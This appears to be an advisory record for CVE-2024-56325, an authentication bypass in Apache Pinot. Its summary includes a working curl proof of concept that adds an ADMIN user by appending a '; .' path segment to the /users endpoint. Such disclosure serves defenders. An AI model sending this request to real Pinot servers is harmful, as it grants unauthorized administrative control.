Apache Pinot: Authentication bypass issue. If the path does not contain / and contain . authentication is not required

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  "url": "https://osv.dev/vulnerability/CVE-2024-56325",
  "method": "structured",
  "payload": {
    "kind": "advisory",
    "title": "Apache Pinot: Authentication bypass issue. If the path does not contain / and contain . authentication is not required",
    "summary": "Authentication Bypass Issue If the path does not contain / and contain., authentication is not required. Expected Normal Request and Response Example curl -X POST -H \"Content-Type: application/json\" -d {\\\"username\\\":\\\"hack2\\\",\\\"password\\\":\\\"hack\\\",\\\"component\\\":\\\"CONTROLLER\\\",\\\"role\\\":\\\"ADMIN\\\",\\\"tables\\\":[],\\\"permissions\\\":[],\\\"usernameWithComponent\\\":\\\"hack_CONTROLLER\\\"} http://{server_ip}:9000/users Return: {\"code\":401,\"error\":\"HTTP 401 Unauthorized\"} Malicious Request and Response Example curl -X POST -H \"Content-Type: application/json\" -d '{\\\"username\\\":\\\"hack\\\",\\\"password\\\":\\\"hack\\\",\\\"component\\\":\\\"CONTROLLER\\\",\\\"role\\\":\\\"ADMIN\\\",\\\"tables\\\":[],\\\"permissions\\\":[],\\\"usernameWithComponent\\\":\\\"hack_CONTROLLER\\\"}' http://{serverip}:9000/users; http://{serverip}:9000/users; . Return: {\"users\":{}} A new user gets added bypassing authentication, enabling the user to control Pinot.",
    "evidence": "osv:CVE-2024-56325",
    "products": [],
    "severity": "critical",
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      "aliases": [
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        "GHSA-6jwp-4wvj-6597"
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              "type": "GIT",
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      "modified": "2026-10-28T02:30:27.091499257Z",
      "provider": "osv",
      "references": [
        "https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/56xxx/CVE-2024-56325.json",
        "https://lists.apache.org/thread/ksf8qsndr1h66otkbjz2wrzsbw992r8v",
        "https://nvd.nist.gov/vuln/detail/CVE-2024-56325"
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      "provider_metadata": {
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          "CWE-288"
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        "cna_assigner": "apache",
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    "security_relevant": true,
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  "source_id": "core-osv",
  "document_id": 493920,
  "published_at": "2025-04-01T09:07:14.185+00:00"
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